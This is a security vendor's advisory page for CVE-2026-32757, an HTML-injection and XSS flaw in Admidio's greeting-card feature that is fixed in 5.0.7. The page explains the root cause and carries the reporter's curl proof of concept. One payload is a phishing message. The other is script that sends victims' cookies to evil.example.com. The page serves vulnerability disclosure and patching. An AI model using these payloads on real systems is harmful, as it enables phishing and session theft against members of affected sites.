Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32757 — admidio

🟡 CVSS 5.4 — Medium ⚠️ Exploit Public CWE-79 NVD
5.4
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection ## Summary The eCard send handler in Admidio uses the raw `$_POST['ecard_message']` value instead of the HTMLPurifier-sanitized `$formValues['ecard_message']` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation. ## Details ### Root Cause File: `D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php` At line 38, the raw POST value is captured BEFORE form validation runs: ```php $postMessage = $_POST['ecard_message']; // Line 38: RAW value ``` At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field): ```php $formValues = $photosEcardSendForm->validate($_POST); // Line 61: sanitized ``` The sanitized value is stored in `$formValues['ecard_message']`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201: ```php $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159 $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201 ``` ### Template Injection File: `D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php`, line 144 The `parseEcardTemplate()` method places the message directly into the HTML template without any encoding: ```php $pregRepArray['//'] = $ecardMessage; // Line 144: no encoding ``` Compare this to the recipient fields which ARE properly encoded: ```php $pregRepArray['//'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135 $pregRepArray['//'] = SecurityUtils::encodeHTML($recipientName); // Line 136 ``` ### Inconsistency with Preview File: `D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php`, line 56 The preview correctly uses the sanitized value: ```php $smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...)); ``` This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content. ### Delivery Mechanism The unsanitized HTML is delivered via two channels: 1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email->setText($ecardHtmlData)` followed by `$email->setHtmlMail()`. The malicious HTML is rendered by the recipient's email client. 2. **Database Storage**: At line 214 of `ecard_send.php`, `$message->addContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface. ## PoC **Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled. **Step 1: Send an eCard with injected HTML** ``` curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \ -H "Cookie: ADMIDIO_SESSION_ID=" \ -d "adm_csrf_token=" \ -d "ecard_template=" \ -d "photo_uuid=" \ -d "photo_nr=1" \ -d "ecard_message=

Important Security Update

Your account has been compromised. Please verify your identity here.

" \ -d "ecard_recipients[]=" ``` The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email. **Step 2: Escalated payload with script injection** ``` curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \ -H "Cookie: ADMIDIO_SESSION_ID=" \ -d "adm_csrf_token=" \ -d "ecard_template=" \ -d "photo_uuid=" \ -d "photo_nr=1" \ -d "ecard_message=document.location='https://evil.example.com/steal?cookie='+document.cookie" \ -d "ecard_recipients[]=" ``` Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it. ## Impact - **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate. - **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role. - **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the A

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-32757 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-32757 is recorded against 2 packages.

  • admidio (fixed in 5.0.7)
  • admidio/admidio (fixed in 5.0.7)

Timeline and source

Published on 20 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com

Other advisories for this package

admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity MEDIUM
CVSS Score 5.4
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-20
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
admidio 5.0.7
admidio/admidio 5.0.7

Similar Threats

Exploit Protection

Are you running admidio?

CVE-2026-32757 carries CVSS 5.4 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-32757 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026